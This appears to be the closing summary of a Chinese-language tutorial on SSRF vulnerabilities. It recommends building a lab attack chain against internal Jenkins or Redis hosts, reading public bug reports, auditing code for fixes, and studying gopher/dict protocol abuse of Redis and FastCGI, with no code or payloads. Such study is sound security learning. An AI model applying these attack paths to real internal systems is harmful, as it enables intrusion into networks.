总结与下一步SSRF是一种危害巨大且常见的漏洞它打破了内外网的边界。通过本文的梳理和靶场实践你应该已经掌握了SSRF的基本原理、探测方法、绕过技巧以及核心的防御思路。最值得尝试的下一步搭建复杂靶场在虚拟机中搭建一个简单的内网环境例如一台Web服务器存在SSRF内网另一台机器运行着有漏洞的Jenkins或Redis尝试从外网通过SSRF完成对内网机器的攻击链。研究真实案例在公开的漏洞报告平台如HackerOne、CNVD上搜索SSRF漏洞报告学习高手们的利用思路和绕过技巧。代码审计练习找一些开源项目尝试寻找其中潜在的SSRF漏洞点并思考修复方案。深入协议利用深入研究gopher、dict等协议在攻击Redis、FastCGI等服务时的利用方式这通常是CTF中的难点和亮点。安全是一个攻防对抗、不断演进的过程。理解像SSRF这样的核心漏洞不仅能让你在渗透测试中多一种利器更能从根本上提升你设计和开发安全应用的能力。建议将本文中的测试环境保存下来作为日后复习和练习的沙箱。